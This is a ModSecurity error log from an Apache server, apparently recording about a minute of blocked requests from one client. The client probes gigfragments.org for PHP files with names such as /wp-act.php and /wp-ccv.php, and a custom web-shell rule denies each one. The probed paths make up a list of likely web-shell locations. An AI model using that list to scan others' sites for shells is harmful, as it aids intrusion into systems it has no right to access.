[Wed Apr 08 01:51:52.926380 2026] [:error] [pid 5337:tid 5365] [client 20.234.13.12:4353] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "adVEOCboIFdw6tlcN13q8AAAAQc"]
[Wed Apr 08 01:51:53.433092 2026] [:error] [pid 4840:tid 5161] [client 20.234.13.12:4410] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "adVEORsUwg2fEe9p9LTGFwAAAAE"]
[Wed Apr 08 01:51:53.946969 2026] [:error] [pid 5337:tid 5364] [client 20.234.13.12:4996] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/less.php"] [unique_id "adVEOSboIFdw6tlcN13q8gAAAQY"]
[Wed Apr 08 01:51:54.450403 2026] [:error] [pid 5337:tid 5373] [client 20.234.13.12:4384] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "adVEOiboIFdw6tlcN13q9gAAAQ8"]
[Wed Apr 08 01:51:54.949734 2026] [:error] [pid 5337:tid 5382] [client 20.234.13.12:4399] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "adVEOiboIFdw6tlcN13q_gAAARg"]
[Wed Apr 08 01:51:55.460947 2026] [:error] [pid 5337:tid 5364] [client 20.234.13.12:4387] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "adVEOyboIFdw6tlcN13rAgAAAQY"]
[Wed Apr 08 01:51:55.993033 2026] [:error] [pid 303:tid 329] [client 20.234.13.12:7241] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "adVEO89wWR0DHTrNMujiOwAAAVc"]
[Wed Apr 08 01:51:56.501982 2026] [:error] [pid 303:tid 316] [client 20.234.13.12:7227] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xdd.php"] [unique_id "adVEPM9wWR0DHTrNMujiPQAAAUo"]
[Wed Apr 08 01:51:57.016678 2026] [:error] [pid 303:tid 310] [client 20.234.13.12:4393] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xdd.php"] [unique_id "adVEPc9wWR0DHTrNMujiQwAAAUQ"]
[Wed Apr 08 01:51:57.525566 2026] [:error] [pid 4840:tid 5174] [client 20.234.13.12:4359] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xdd.php"] [unique_id "adVEPRsUwg2fEe9p9LTGIQAAAA4"]
[Wed Apr 08 01:51:58.030868 2026] [:error] [pid 303:tid 315] [client 20.234.13.12:7170] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xdd.php"] [unique_id "adVEPs9wWR0DHTrNMujiRgAAAUk"]
[Wed Apr 08 01:51:58.533511 2026] [:error] [pid 5337:tid 5374] [client 20.234.13.12:4396] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "adVEPiboIFdw6tlcN13rDgAAARA"]
[Wed Apr 08 01:51:59.083974 2026] [:error] [pid 303:tid 319] [client 20.234.13.12:4400] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "adVEP89wWR0DHTrNMujiSQAAAU0"]
[Wed Apr 08 01:51:59.591653 2026] [:error] [pid 4842:tid 5209] [client 20.234.13.12:5110] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "adVEP5dncJIGbBiMOXTHNgAAAFU"]
[Wed Apr 08 01:52:00.092780 2026] [:error] [pid 5337:tid 5380] [client 20.234.13.12:5071] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "adVEQCboIFdw6tlcN13rEgAAARY"]
[Wed Apr 08 01:52:00.607581 2026] [:error] [pid 5337:tid 5361] [client 20.234.13.12:5066] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "adVEQCboIFdw6tlcN13rFgAAAQM"]
[Wed Apr 08 01:52:01.112098 2026] [:error] [pid 5337:tid 5372] [client 20.234.13.12:4375] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "adVEQSboIFdw6tlcN13rGgAAAQ4"]
[Wed Apr 08 01:52:01.613213 2026] [:error] [pid 5337:tid 5371] [client 20.234.13.12:7230] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "adVEQSboIFdw6tlcN13rHwAAAQ0"]
[Wed Apr 08 01:52:02.112922 2026] [:error] [pid 5337:tid 5376] [client 20.234.13.12:7239] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/roksad1.php"] [unique_id "adVEQiboIFdw6tlcN13rIAAAARI"]
[Wed Apr 08 01:52:02.620656 2026] [:error] [pid 5337:tid 5365] [client 20.234.13.12:7285] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update1.php"] [unique_id "adVEQiboIFdw6tlcN13rIwAAAQc"]
[Wed Apr 08 01:52:03.149330 2026] [:error] [pid 5337:tid 5364] [client 20.234.13.12:5084] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update1.php"] [unique_id "adVEQyboIFdw6tlcN13rKgAAAQY"]
[Wed Apr 08 01:52:03.665998 2026] [:error] [pid 5337:tid 5371] [client 20.234.13.12:7204] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update1.php"] [unique_id "adVEQyboIFdw6tlcN13rLQAAAQ0"]
[Wed Apr 08 01:52:04.186762 2026] [:error] [pid 5337:tid 5376] [client 20.234.13.12:4378] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update1.php"] [unique_id "adVERCboIFdw6tlcN13rMAAAARI"]
[Wed Apr 08 01:52:04.745743 2026] [:error] [pid 5337:tid 5380] [client 20.234.13.12:4401] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "adVERCboIFdw6tlcN13rMQAAARY"]
[Wed Apr 08 01:52:05.251676 2026] [:error] [pid 5337:tid 5371] [client 20.234.13.12:5118] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "adVERSboIFdw6tlcN13rNQAAAQ0"]
[Wed Apr 08 01:52:05.772309 2026] [:error] [pid 5337:tid 5362] [client 20.234.13.12:4376] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "adVERSboIFdw6tlcN13rOQAAAQQ"]
[Wed Apr 08 01:52:06.277993 2026] [:error] [pid 5337:tid 5363] [client 20.234.13.12:5077] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "adVERiboIFdw6tlcN13rQAAAAQU"]
[Wed Apr 08 01:52:06.862721 2026] [:error] [pid 5246:tid 5251] [client 20.234.13.12:4403] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "adVERhLpySxaVC8kLEZwMQAAAME"]
[Wed Apr 08 01:52:07.370938 2026] [:error] [pid 4842:tid 5189] [client 20.234.13.12:5111] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "adVER5dncJIGbBiMOXTHOQAAAEE"]
[Wed Apr 08 01:52:07.924021 2026] [:error] [pid 5246:tid 5262] [client 20.234.13.12:5093] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "adVERxLpySxaVC8kLEZwNAAAAMw"]
[Wed Apr 08 01:52:08.430259 2026] [:error] [pid 4840:tid 5175] [client 20.234.13.12:5020] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "adVESBsUwg2fEe9p9LTGLgAAAA8"]
[Wed Apr 08 01:52:08.983801 2026] [:error] [pid 5246:tid 5267] [client 20.234.13.12:4370] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new2.php"] [unique_id "adVESBLpySxaVC8kLEZwNgAAANE"]
[Wed Apr 08 01:52:09.486428 2026] [:error] [pid 4860:tid 5238] [client 20.234.13.12:4381] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new2.php"] [unique_id "adVESQn6KmY32L3WSeHGlwAAAJc"]
[Wed Apr 08 01:52:09.998910 2026] [:error] [pid 303:tid 324] [client 20.234.13.12:5100] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new2.php"] [unique_id "adVESc9wWR0DHTrNMujiTgAAAVI"]
[Wed Apr 08 01:52:10.512579 2026] [:error] [pid 4860:tid 5222] [client 20.234.13.12:5075] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new2.php"] [unique_id "adVESgn6KmY32L3WSeHGmgAAAIc"]
[Wed Apr 08 01:52:11.017909 2026] [:error] [pid 303:tid 330] [client 20.234.13.12:4392] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "adVES89wWR0DHTrNMujiVQAAAVg"]
[Wed Apr 08 01:52:11.522499 2026] [:error] [pid 5337:tid 5368] [client 20.234.13.12:4388] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "adVESyboIFdw6tlcN13rTAAAAQo"]
[Wed Apr 08 01:52:12.037180 2026] [:error] [pid 4860:tid 5236] [client 20.234.13.12:5069] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "adVETAn6KmY32L3WSeHGnAAAAJU"]
[Wed Apr 08 01:52:12.543635 2026] [:error] [pid 4842:tid 5208] [client 20.234.13.12:5068] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/packsin1.php"] [unique_id "adVETJdncJIGbBiMOXTHPwAAAFQ"]
[Wed Apr 08 01:52:14.125835 2026] [:error] [pid 303:tid 329] [client 20.234.13.12:5096] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adVETs9wWR0DHTrNMujiWQAAAVc"]
[Wed Apr 08 01:52:14.630510 2026] [:error] [pid 5246:tid 5269] [client 20.234.13.12:4948] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adVEThLpySxaVC8kLEZwPgAAANM"]
[Wed Apr 08 01:52:15.175196 2026] [:error] [pid 4842:tid 5202] [client 20.234.13.12:5106] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adVET5dncJIGbBiMOXTHQQAAAE4"]
[Wed Apr 08 01:52:15.681062 2026] [:error] [pid 5337:tid 5359] [client 20.234.13.12:5102] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adVETyboIFdw6tlcN13rZAAAAQE"]
[Wed Apr 08 01:52:16.265910 2026] [:error] [pid 303:tid 311] [client 20.234.13.12:4361] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wswer1.php"] [unique_id "adVEUM9wWR0DHTrNMujiWwAAAUU"]
[Wed Apr 08 01:52:16.778735 2026] [:error] [pid 4840:tid 5171] [client 20.234.13.12:4366] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wswer1.php"] [unique_id "adVEUBsUwg2fEe9p9LTGNQAAAAs"]
[Wed Apr 08 01:52:18.305033 2026] [:error] [pid 4860:tid 5237] [client 20.234.13.12:7283] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wswer1.php"] [unique_id "adVEUgn6KmY32L3WSeHGqwAAAJY"]
[Wed Apr 08 01:52:18.821434 2026] [:error] [pid 303:tid 330] [client 20.234.13.12:7212] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wswer1.php"] [unique_id "adVEUs9wWR0DHTrNMujiXwAAAVg"]
[Wed Apr 08 01:52:19.324762 2026] [:error] [pid 4842:tid 5192] [client 20.234.13.12:5008] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ccv.php"] [unique_id "adVEU5dncJIGbBiMOXTHSwAAAEQ"]
[Wed Apr 08 01:52:19.840721 2026] [:error] [pid 4840:tid 5160] [client 20.234.13.12:5016] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ccv.php"] [unique_id "adVEUxsUwg2fEe9p9LTGOQAAAAA"]
[Wed Apr 08 01:52:20.345922 2026] [:error] [pid 5337:tid 5382] [client 20.234.13.12:5060] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ccv.php"] [unique_id "adVEVCboIFdw6tlcN13rbAAAARg"]
[Wed Apr 08 01:52:20.861873 2026] [:error] [pid 5337:tid 5369] [client 20.234.13.12:7222] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-ccv.php"] [unique_id "adVEVCboIFdw6tlcN13rcAAAAQs"]
[Wed Apr 08 01:52:38.968560 2026] [:error] [pid 5337:tid 5370] [client 20.234.13.12:5076] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "adVEZiboIFdw6tlcN13rpQAAAQw"]
[Wed Apr 08 01:52:39.469619 2026] [:error] [pid 4860:tid 5216] [client 20.234.13.12:5029] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "adVEZwn6KmY32L3WSeHG1AAAAIE"]
[Wed Apr 08 01:52:39.974447 2026] [:error] [pid 303:tid 330] [client 20.234.13.12:5115] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "adVEZ89wWR0DHTrNMujihgAAAVg"]
[Wed Apr 08 01:52:40.491082 2026] [:error] [pid 303:tid 314] [client 20.234.13.12:5108] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dichku.php"] [unique_id "adVEaM9wWR0DHTrNMujiiQAAAUg"]
[Wed Apr 08 01:52:40.997142 2026] [:error] [pid 5246:tid 5272] [client 20.234.13.12:5059] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "adVEaBLpySxaVC8kLEZwZwAAANY"]
[Wed Apr 08 01:52:41.501547 2026] [:error] [pid 4840:tid 5170] [client 20.234.13.12:4371] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "adVEaRsUwg2fEe9p9LTGVQAAAAo"]
